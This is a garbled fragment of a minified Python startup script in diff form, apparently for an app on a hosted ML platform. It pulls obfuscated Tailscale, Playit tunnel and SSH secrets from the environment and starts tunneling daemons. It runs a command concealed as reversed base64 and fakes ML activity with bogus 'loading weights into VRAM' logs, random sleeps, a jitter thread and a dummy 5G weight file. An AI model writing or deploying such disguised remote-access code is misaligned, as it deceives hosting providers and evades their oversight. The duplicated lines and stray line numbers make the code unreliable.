  logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();R=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {R}s)...")
45
  if M in A:tailscale_service.start_daemon(B.ts)
 
36
  else:logger.info('Minimal core only (no optional services enabled)')
37
  F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;O=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
38
  if'test'in A:test_service.start()
39
+ B=setup_service_logs()
 
 
40
  if'caddy'in A:caddy_service.start(B.caddy)
41
+ logger.info('Starting Gradio app (API server)...');P=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');Q=subprocess.Popen(P,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
42
+ if not wait_for_port(K,7861,timeout=60):logger.warning('Gradio did not become ready within 60s — continuing anyway')
43
+ else:logger.info('Gradio ready — Caddy now proxying live traffic.')
44
  if not os.path.exists(L):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',L])
45
  logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();R=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {R}s)...")
46
  if M in A:tailscale_service.start_daemon(B.ts)